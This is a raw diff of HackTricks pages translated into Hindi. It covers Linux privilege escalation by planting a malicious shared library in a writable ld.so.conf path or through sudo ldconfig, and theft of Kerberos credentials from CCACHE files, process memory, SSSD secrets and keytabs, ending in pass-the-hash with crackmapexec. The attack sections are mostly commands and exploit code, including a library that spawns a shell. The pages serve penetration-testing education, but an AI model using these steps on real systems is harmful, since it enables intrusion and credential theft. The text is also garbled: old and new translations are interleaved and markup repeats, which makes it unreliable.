* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## पर्यावरण तैयार करें
## वातावरण तैयार करें
निम्नलिखित खंड में आपको फाइलों का कोड मिलेगा जिनका उपयोग हम पर्यावरण तैयार करने के लिए करने वाले हैं
अगले अनुभाग में आप उन फ़ाइलों का कोड पा सकते हैं जिनका हम वातावरण तैयार करने के लिए उपयोग करने जा रहे हैं
{% tabs %}
{% tab title="sharedvuln.c" %}
@ -52,15 +62,14 @@ puts("Hi");
{% endtab %}
{% endtabs %}
1. **बनाएं** अपनी मशीन में उन फाइलों को उसी फोल्डर में
2. **कंपाइल** करें **लाइब्रेरी**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. **कॉपी** करें `libcustom.so` को `/usr/lib` में: `sudo cp libcustom.so /usr/lib` (root privs)
4. **कंपाइल** करें **एक्जीक्यूटेबल**: `gcc sharedvuln.c -o sharedvuln -lcustom`
1. **अपने मशीन में उसी फ़ोल्डर में** उन फ़ाइलों को **बनाएँ**
2. **लाइब्रेरी को** संकलित करें: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. `libcustom.so` को `/usr/lib` में **कॉपी करें**: `sudo cp libcustom.so /usr/lib` (रूट प्रिविलेज)
4. **कार्यकारी फ़ाइल को** संकलित करें: `gcc sharedvuln.c -o sharedvuln -lcustom`
### पर्यावरण की जांच करें
जांचें कि _libcustom.so_ _/usr/lib_ से **लोड** हो रहा है और आप बाइनरी को **एक्जीक्यूट** कर सकते हैं।
### वातावरण की जाँच करें
जाँच करें कि _libcustom.so_ _/usr/lib_ से **लोड** हो रहा है और कि आप बाइनरी को **निष्पादित** कर सकते हैं।
```
$ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000)
@ -72,18 +81,14 @@ $ ./sharedvuln
Welcome to my amazing application!
Hi
```
## Exploit
## एक्सप्लॉइट
इस परिदृश्य में हम मान रहे हैं कि **किसी ने **_**/etc/ld.so.conf/**_** में एक फाइल के अंदर एक संवेदनशील प्रविष्टि बनाई है**:
इस परिदृश्य में हम यह मानने जा रहे हैं कि **किसी ने _/etc/ld.so.conf/_ के अंदर एक कमजोर प्रविष्टि बनाई है**:
```bash
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
```
वल्नरेबल फोल्डर _/home/ubuntu/lib_ है (जहाँ हमें लिखने की अनुमति है)।\
**डाउनलोड और कंपाइल** करें निम्नलिखित कोड उस पथ के अंदर:
The vulnerable folder is _/home/ubuntu/lib_ (जहाँ हमारे पास लिखने की अनुमति है)।\
**डाउनलोड और संकलित करें** निम्नलिखित कोड उस पथ के अंदर:
```c
//gcc -shared -o libcustom.so -fPIC libcustom.c
@ -98,11 +103,9 @@ printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}
```
अब जब हमने **गलत कॉन्फ़िगर की गई** पथ के अंदर **दुष्ट libcustom पुस्तकालय** बनाया है, हमें **रीबूट** का इंतज़ार करना होगा या रूट उपयोगकर्ता को **`ldconfig`** निष्पादित करने के लिए कहना होगा (_यदि आप इस बाइनरी को **sudo** के रूप में निष्पादित कर सकते हैं या इसमें **suid बिट** है, तो आप इसे स्वयं निष्पादित कर सकेंगे_)।
अब जबकि हमने **गलत कॉन्फ़िगर किए गए** पथ के अंदर **दुर्भावनापूर्ण libcustom लाइब्रेरी बना ली है**, हमें एक **रिबूट** का इंतजार करना होगा या फिर रूट यूजर को **`ldconfig`** निष्पादित करते हुए देखना होगा (_यदि आप इस बाइनरी को **sudo** के रूप में निष्पादित कर सकते हैं या इसमें **suid बिट** है तो आप इसे स्वयं निष्पादित कर पाएंगे_).
एक बार जब यह हो जाए, तो **पुनः जांचें** कि `sharevuln` निष्पादनयोग्य फ़ाइल `libcustom.so` लाइब्रेरी को कहाँ से लोड कर रहा है:
एक बार जब यह हो जाता है, तो **फिर से जांचें** कि `sharevuln` निष्पादन योग्य `libcustom.so` पुस्तकालय को कहाँ से लोड कर रहा है:
```c
$ldd sharedvuln
linux-vdso.so.1 => (0x00007ffeee766000)
@ -110,9 +113,7 @@ libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
```
जैसा कि आप देख सकते हैं यह **`/home/ubuntu/lib` से लोड हो रहा है** और अगर कोई उपयोगकर्ता इसे निष्पादित करता है, तो एक शेल निष्पादित किया जाएगा:
जैसा कि आप देख सकते हैं, यह **`/home/ubuntu/lib` से लोड हो रहा है** और यदि कोई उपयोगकर्ता इसे निष्पादित करता है, तो एक शेल निष्पादित होगा:
```c
$ ./sharedvuln
Welcome to my amazing application!
@ -120,31 +121,27 @@ I'm the bad library
$ whoami
ubuntu
```
{% hint style="info" %}
ध्यान दें कि इस उदाहरण में हमने विशेषाधिकार नहीं बढ़ाए हैं, लेकिन आदेशों को संशोधित करके और **रूट या अन्य विशेषाधिकार प्राप्त उपयोगकर्ता द्वारा संवेदनशील बाइनरी को निष्पादित करने की प्रतीक्षा करके** हम विशेषाधिकार बढ़ा सक हैं।
ध्यान दें कि इस उदाहरण में हमने विशेषाधिकारों को बढ़ाया नहीं है, लेकिन निष्पादित किए गए आदेशों को संशोधित करके और **जड़ या अन्य विशेषाधिकार प्राप्त उपयोगकर्ता के द्वारा कमजोर बाइनरी को निष्पादित करने की प्रतीक्षा करके** हम विशेषाधिकार बढ़ा सकेंगे
{% endhint %}
### अन्य गलत कॉन्फ़िगरेशन - समान दोष
### अन्य गलत कॉन्फ़िगरेशन - समान कमजोरियां
पिछले उदाहरण में हमने एक गलत कॉन्फ़िगरेशन का नकली बनाया जहां एक प्रशासक ने `/etc/ld.so.conf.d/` के अंदर एक कॉन्फ़िगरेशन फ़ाइल के अंदर एक गैर-विशेषाधिकार प्राप्त फ़ोल्डर **सेट किया**।\
लेकिन अन्य गलत कॉन्फ़िगरेशन भी हो सकते हैं जो समान दोष का कारण बन सकते हैं, अगर आपके पास `/etc/ld.so.conf.d` के अंदर किसी **कॉन्फ़िगरेशन फ़ाइल** में, `/etc/ld.so.conf.d` फ़ोल्डर में या `/etc/ld.so.conf` फ़ाइल में **लिखने की अनुमति** है तो आप समान दोष को कॉन्फ़िगर कर सकते हैं और इसका शोषण कर सकते हैं।
पिछले उदाहरण में हमने एक गलत कॉन्फ़िगरेशन का नाटक किया जहां एक व्यवस्थापक ने **`/etc/ld.so.conf.d/` के अंदर एक कॉन्फ़िगरेशन फ़ाइल के अंदर एक गैर-विशेषाधिकार प्राप्त फ़ोल्डर सेट किया**।\
लेकिन अन्य गलत कॉन्फ़िगरेशन भी हैं जो समान कमजोरियों का कारण बन सकते हैं, यदि आपके पास **`/etc/ld.so.conf.d` के अंदर कुछ **config file** में लिखने की अनुमति है, `/etc/ld.so.conf.d` फ़ोल्डर में या `/etc/ld.so.conf` फ़ाइल में, तो आप समान कमजोरी को कॉन्फ़िगर कर सकते हैं और इसका लाभ उठा सकते हैं।
## Exploit 2
**मान लीजिए आपके पास `ldconfig` पर सुडो विशेषाधिकार हैं**।\
आप `ldconfig` को यह बता सकते हैं कि **कॉन्फ़िगरेशन फ़ाइलें कहां से लोड करें**, इसलिए हम इसका फायदा उठा सकते हैं ताकि `ldconfig` मनमाने फ़ोल्डर्स को लोड करे।\
तो, चलिए "/tmp" को लोड करने के लिए आवश्यक फ़ाइलें और फ़ोल्डर्स बनाते हैं:
## एक्सप्लॉइट 2
**मान लीजिए कि आपके पास `ldconfig` पर sudo विशेषाधिकार हैं**।\
आप `ldconfig` को **कॉन्फ़ फ़ाइलों को कहाँ से लोड करना है** यह बता सकते हैं, इसलिए हम इसका लाभ उठाकर `ldconfig` को मनमाने फ़ोल्डर लोड करने के लिए कह सकते हैं।\
तो, चलिए "/tmp" को लोड करने के लिए आवश्यक फ़ाइलें और फ़ोल्डर बनाते हैं:
```bash
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
```
अब, **पिछले एक्सप्लॉइट** में बताए गए अनुसार, **`/tmp` के अंदर दुर्भावनापूर्ण लाइब्रेरी बनाएं**।\
और अंत में, पथ को लोड करें और जांचें कि बाइनरी लाइब्रेरी को कहां से लोड कर रही है:
अब, जैसा कि **पिछले एक्सप्लॉइट** में संकेत दिया गया है, **`/tmp` के अंदर दुर्भावनापूर्ण लाइब्रेरी बनाएं**।\
और अंत में, चलिए पथ लोड करते हैं और जांचते हैं कि बाइनरी लाइब्रेरी को कहाँ से लोड कर रही है:
```bash
ldconfig -f fake.ld.so.conf
@ -154,29 +151,36 @@ libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
```
**जैसा कि आप देख सकते हैं, `ldconfig` पर sudo विशेषाधिकार होने से आप उसी कमजोरी का शोषण कर सकते हैं।**
**जैसा कि आप देख सकते हैं, `ldconfig` पर sudo विशेषाधिकार होने से आप उसी कमजोरियों का लाभ उठा सकते हैं।**
{% hint style="info" %}
मुझे `ldconfig` को **suid bit** के साथ कॉन्फ़िगर किए जाने पर इस कमजोरी का शोषण करने का कोई विश्वसनीय तरीका **नहीं मिला**। निम्नलिखित त्रुटि दिखाई देती है: `/sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied`
{% endhint %}
## संदर्भ
* [https://www.boiteaklou.fr/Abusing-Shared-Libraries.html](https://www.boiteaklou.fr/Abusing-Shared-Libraries.html)
* [https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2](https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2)
* HTB में Dab machine
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो** करें।
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# लिनक्स एक्टिव डायरेक्टरी
# Linux Active Directory
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह देखें
* [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
एक लिनक्स मशीन एक एक्टिव डायरेक्टरी वातावरण में भी मौजूद हो सकती है।
एक लिनक्स मशीन भी एक सक्रिय निर्देशिका वातावरण के अंदर मौजूद हो सकती है।
एक एडी में एक लिनक्स मशीन **विभिन्न सीकैच टिकट्स को फ़ाइलों में संग्रहित कर सकता है। ये टिकट्स और किसी अन्य केरबेरोस टिकट के रूप में उपयोग और दुरुपयोग किया जा सकता है**। इन टिकट्स को पढ़ने के लिए आपको टिकट के उपयोगकर्ता मालिक या **मशीन के अंदर रूट** होना चाहिए।
एक AD में लिनक्स मशीन **फाइलों के अंदर विभिन्न CCACHE टिकटों को स्टोर कर सकती है। ये टिकट किसी अन्य kerberos टिकट की तरह उपयोग और दुरुपयोग किए जा सकते हैं**। इन टिकटों को पढ़ने के लिए, आपको टिकट का उपयोगकर्ता मालिक होना चाहिए या मशीन के अंदर **root** होना चाहिए।
## जांच
## Enumeration
### लिनक्स से एडी जांच
### AD enumeration from linux
यदि आपके पास लिनक्स में एडी पर पहुंच है (या विंडोज में बैश है) तो आप [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) का उपयोग करके एडी का जांच कर सकते हैं।
यदि आपके पास लिनक्स (या Windows में bash) में AD पर पहुंच है, तो आप AD को सूचीबद्ध करने के लिए [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) का प्रयास कर सकते हैं।
आप लिनक्स से एडी को जांचने के **अन्य तरीके सीखने के लिए निम्नलिखित पृष्ठ की जांच कर सकते हैं**:
आप लिनक्स से AD को सूचीबद्ध करने के **अन्य तरीकों** को जानने के लिए निम्नलिखित पृष्ठ की भी जांच कर सकते हैं:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -30,27 +33,27 @@
### FreeIPA
FreeIPA माइक्रोसॉफ्ट विंडोज **एक्टिव डायरेक्टरी** के लिए एक ओपन-सोर्स **वैकल्पिक** है, मुख्य रूप से **यूनिक्स** वातावरणों के लिए। यह एक पूर्ण **एलडीएपी निर्देशिका** को एक MIT **केरबेरोस** कुंजी वितरण केंद्र के साथ मिलाकर एक्टिव डायरेक्टरी के समान प्रबंधन के लिए है। CA और RA प्रमाणपत्र प्रबंधन के लिए डॉगटैग **सर्टिफिकेट सिस्टम** का उपयोग करते हुए, यह स्मार्टकार्ड सहित **मल्टी-फैक्टर** प्रमाणीकरण का समर्थन करता है। यूनिक्स प्रमाणीकरण प्रक्रियाओं के लिए SSSD एकीकृत है। इसके बारे में अधिक जानने के लिए यहाँ देखें:
FreeIPA एक ओपन-सोर्स **वैकल्पिक** है Microsoft Windows **Active Directory** के लिए, मुख्य रूप से **Unix** वातावरण के लिए। यह Active Directory के समान प्रबंधन के लिए एक पूर्ण **LDAP निर्देशिका** को MIT **Kerberos** की कुंजी वितरण केंद्र के साथ जोड़ता है। CA और RA प्रमाणपत्र प्रबंधन के लिए Dogtag **Certificate System** का उपयोग करते हुए, यह स्मार्टकार्ड सहित **multi-factor** प्रमाणीकरण का समर्थन करता है। Unix प्रमाणीकरण प्रक्रियाओं के लिए SSSD एकीकृत है। इसके बारे में अधिक जानें:
{% content-ref url="../freeipa-pentesting.md" %}
[freeipa-pentesting.md](../freeipa-pentesting.md)
{% endcontent-ref %}
## टिकट्स के साथ खेलना
## Playing with tickets
### पास द टिकट
### Pass The Ticket
इस पृष्ठ पर आपको विभिन्न स्थान मिलेंगे जहाँ आप **लिनक्स होस्ट में केरबेरोस टिकट्स पाएंगे**, आगे के पृष्ठ पर आप सीसीचेच टिकट्स के फॉर्मेट को किर्बी में बदलना सीख सकते हैं (जिसे आपको विंडोज में उपयोग करने के लिए आवश्यकता है) और यहाँ तक कि पीटीटी हमला कैसे करें:
इस पृष्ठ पर आप विभिन्न स्थानों को पाएंगे जहाँ आप **एक लिनक्स होस्ट के अंदर kerberos टिकट पा सकते हैं**, अगले पृष्ठ पर आप सीख सकते हैं कि इन CCache टिकटों के प्रारूप को Kirbi (वह प्रारूप जिसे आपको Windows में उपयोग करना है) में कैसे परिवर्तित किया जाए और साथ ही PTT हमले को कैसे किया जाए:
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
{% endcontent-ref %}
### /tmp से सीसीचेच टिकट पुनः उपयोग
### CCACHE ticket reuse from /tmp
सीसीचेच फ़ाइलें **केरबेरोस क्रेडेंशियल्स को संग्रहित करने के लिए बाइनरी फ़ॉर्मेट** होती हैं जो आम तौर पर `/tmp` में 600 अनुमतियों के साथ संग्रहित की जाती हैं। इन फ़ाइलों को उनके **नाम प्रारूप, `krb5cc_%{uid}`,** के साथ पहचाना जा सकता है, जो उपयोक्ता के UID से संबंधित है। प्रमाणीकरण टिकट सत्यापन के लिए, **पर्यावरण चर `KRB5CCNAME`** को वांछित टिकट फ़ाइल के पथ पर सेट किया जाना चाहिए, जिससे इसका पुन उपयोग हो सके।
CCACHE फ़ाइलें **Kerberos क्रेडेंशियल्स** को स्टोर करने के लिए बाइनरी प्रारूप हैं जो आमतौर पर `/tmp` में 600 अनुमतियों के साथ स्टोर की जाती हैं। इन फ़ाइलों की पहचान उनके **नाम प्रारूप, `krb5cc_%{uid}`,** के द्वारा की जा सकती है, जो उपयोगकर्ता के UID से संबंधित है। प्रमाणीकरण टिकट सत्यापन के लिए, **पर्यावरण चर `KRB5CCNAME`** को इच्छित टिकट फ़ाइल के पथ पर सेट किया जाना चाहिए, जिससे इसका पुन: उपयोग सक्षम हो सके।
वर्तमान प्रमाणीकरण के लिए उपयोग किए जा रहे टिकट की सूची `env | grep KRB5CCNAME` के साथ देखें। यह फ़ॉर्मेट पोर्टेबल है और टिकट को **पर्यावरण चर को सेट करके पुनः उपयोग किया जा सकता है** `export KRB5CCNAME=/tmp/ticket.ccache`। केरबेरोस टिकट नाम प्रारूप `krb5cc_%{uid}` है जहाँ uid उपयोक्ता UID है।
प्रमाणीकरण के लिए उपयोग किए जा रहे वर्तमान टिकट को `env | grep KRB5CCNAME` के साथ सूचीबद्ध करें। प्रारूप पोर्टेबल है और टिकट को **पर्यावरण चर सेट करके पुन: उपयोग किया जा सकता है** `export KRB5CCNAME=/tmp/ticket.ccache` के साथ। Kerberos टिकट नाम प्रारूप `krb5cc_%{uid}` है जहाँ uid उपयो्ता UID है।
```bash
# Find tickets
ls /tmp/ | grep krb5cc
@ -59,9 +62,9 @@ krb5cc_1000
# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000
```
### कीकैश टिकट कुंजीडान से पुनः उपयोग
### CCACHE टिकट पुन: उपयोग कीजिए की रिंग से
**प्रक्रिया की स्मृति में संग्रहीत केरबेरोस टिकट निकाले जा सकते हैं**, विशेष रूप से जब मशीन का पीट्रेस संरक्षण अक्षम होता है (`/proc/sys/kernel/yama/ptrace_scope`). इस उद्देश्य के लिए एक उपयुक्त उपकरण [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) पर पाया जा सकता है, जो सत्रों में इंजेक्शन करके टिकटों को डंप करने में सहायक है और उन्हें `/tmp` में डंप करता है।
**प्रक्रिया की मेमोरी में संग्रहीत Kerberos टिकटों को निकाला जा सकता है**, विशेष रूप से जब मशीन की ptrace सुरक्षा अक्षम होती है (`/proc/sys/kernel/yama/ptrace_scope`)। इस उद्देश्य के लिए एक उपयोगी उपकरण [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) पर पाया जा सकता है, जो सत्रों में इंजेक्ट करके और `/tmp` में टिकटों को डंप करके निकासी को सुविधाजनक बनाता है।
इस उपकरण को कॉन्फ़िगर और उपयोग करने के लिए, नीचे दिए गए चरणों का पालन किया जाता है:
```bash
@ -70,45 +73,44 @@ cd tickey/tickey
make CONF=Release
/tmp/tickey -i
```
यह प्रक्रिया विभिन्न सत्रों में इंजेक्शन करने का प्रयास करेगी, उत्पन्न टिकट को `/tmp` में `__krb_UID.ccache` नामक संरचना के साथ संग्रहित करके सफलता की संकेत देगी।
यह प्रक्रिया विभिन्न सत्रों में इंजेक्ट करने का प्रयास करेगी, सफल होने पर `/tmp` में `__krb_UID.ccache` नामकरण सम्मेलन के साथ निकाले गए टिकटों को संग्रहीत करके संकेत देगी।
### CCACHE टिकट पुन: उपयोग SSSD KCM से
### SSSD KCM से CCACHE टिकट पुनः उपयोग
SSSD `/var/lib/sss/secrets/secrets.ldb` पथ पर डेटाबेस की एक प्रति बनाए रखता है। संबंधित कुंजी `/var/lib/sss/secrets/.secrets.mkey` पथ पर एक छिपी हुई फ़ाइल के रूप में संग्रहीत होती है। डिफ़ॉल्ट रूप से, कुंजी केवल तब पढ़ी जा सकती है जब आपके पास **root** अनुमतियाँ हों।
SSSD एक प्रतिलिपि डेटाबेस को पथ `/var/lib/sss/secrets/secrets.ldb` पर बनाए रखता है। संबंधित कुंजी केवल रूट अनुमतियों वाले होते हैं, जो पथ `/var/lib/sss/secrets/.secrets.mkey` पर एक छिपी हुई फ़ाइल के रूप में संग्रहीत है। डिफ़ॉल्ट रूप से, यदि आपके पास **रूट** अनुमतियाँ हैं तो केवल कुंजी पठनीय है।
--डेटाबेस और --कुंजी पैरामीटर के साथ \*\*`SSSDKCMExtractor` \*\* को आह्वान करना डेटाबेस को विश्लेषित करेगा और **रहस्यों को डिक्रिप्ट** करेगा।
**`SSSDKCMExtractor`** को --database और --key पैरामीटर के साथ बुलाने से डेटाबेस को पार्स किया जाएगा और **गुप्त को डिक्रिप्ट** किया जाएगा।
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
**प्रमाणपत्र कैश कर्बेरोस ब्लॉब को एक उपयोगी कर्बेरोस सीकैश फ़ाइल में रूपांतरित किया जा सकता है** जो Mimikatz/Rubeus को पारित किया जा सकता है।
The **credential cache Kerberos blob को एक उपयोगी Kerberos CCache** फ़ाइल में परिवर्तित किया जा सकता है जिसे Mimikatz/Rubeus को पास किया जा सकता है।
### केटैब से सीकैश टिकट पुनः उपयोग करें
### CCACHE टिकट पुन: उपयोग keytab से
```bash
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```
### /etc/krb5.keytab से खाते निकालें
### Extract accounts from /etc/krb5.keytab
सेवा खाते कुंजी, जो जड़ स्तर की अनुमतियों के साथ काम करने वाली सेवाओं के लिए महत्वपूर्ण हैं, सुरक्षित रूप से **`/etc/krb5.keytab`** फ़ाइलों में संग्रहीत होती हैं। ये कुंजियाँ, सेवाओं के लिए पासवर्ड के समान, कड़ी गोपनीयता की मांग करती हैं।
सेवा खाता कुंजी, जो रूट विशेषाधिकारों के साथ काम करने वाली सेवाओं के लिए आवश्यक हैं, सुरक्षित रूप से **`/etc/krb5.keytab`** फ़ाइलों में संग्रहीत होती हैं। ये कुंज, सेवाओं के लिए पासवर्ड के समान, कड़ी गोपनीयता की मांग करती हैं।
कुंजीपटल फ़ाइल की सामग्री की जांच के लिए, **`klist`** का उपयोग किया जा सकता है। यह उपकरण कुंजी विवरण प्रदर्शित करने के लिए डिज़ाइन किया गया है, जिसमें **NT Hash** उपयोगकर्ता प्रमाणीकरण के लिए, विशेष रूप से जब कुंजी प्रकार को 23 के रूप में पहचाना जाता है।
कुंजीपटल फ़ाइल की सामग्री की जांच करने के लिए, **`klist`** का उपयोग किया जा सकता है। यह उपकरण कुंजी विवरण प्रदर्शित करने के लिए डिज़ाइन किया गया है, जिसमें उपयोगकर्ता प्रमाणीकरण के लिए **NT Hash** शामिल है, विशेष रूप से जब कुंजी प्रकार को 23 के रूप में पहचाना जाता है।
```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash
```
Linux उपयोगकर्ताओं के लिए, **`KeyTabExtract`** एक कार्यक्षमता प्रदान करता है जिसका उपयोग RC4 HMAC हैश निकालने के लिए किया जा सकता है, जो NTLM हैश पुनः उपयोग के लिए उपयोग किया जा सकता है।
Linux उपयोगकर्ताओं के लिए, **`KeyTabExtract`** RC4 HMAC हैश निकालने की कार्यक्षमता प्रदान करता है, जिसे NTLM हैश पुन: उपयोग के लिए उपयोग किया जा सकता है।
```bash
python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability
```
मैकओएस पर, **`bifrost`** कुंजीटैब फ़ाइल विश्लेषण के लिए एक उपकरण के रूप में का करता है।
macOS पर, **`bifrost`** कुंजीपटल फ़ाइल विश्लेषण के लिए एक उपकरण के रूप में कार्य करता है।
```bash
./bifrost -action dump -source keytab -path /path/to/your/file
```
कोड और हैश जानकारी का उपयोग करते हुए, **`crackmapexec`** जैसे उपकरण का उपयोग करके सर्वरों के साथ कनेक्शन स्थापित किया जा सकता है
निकाली गई खाता और हैश जानकारी का उपयोग करते हुए, **`crackmapexec`** जैसे उपकरणों का उपयोग करके सर्वरों से कनेक्शन स्थापित किए जा सकते हैं
```bash
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
```
@ -117,14 +119,17 @@ crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDO
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
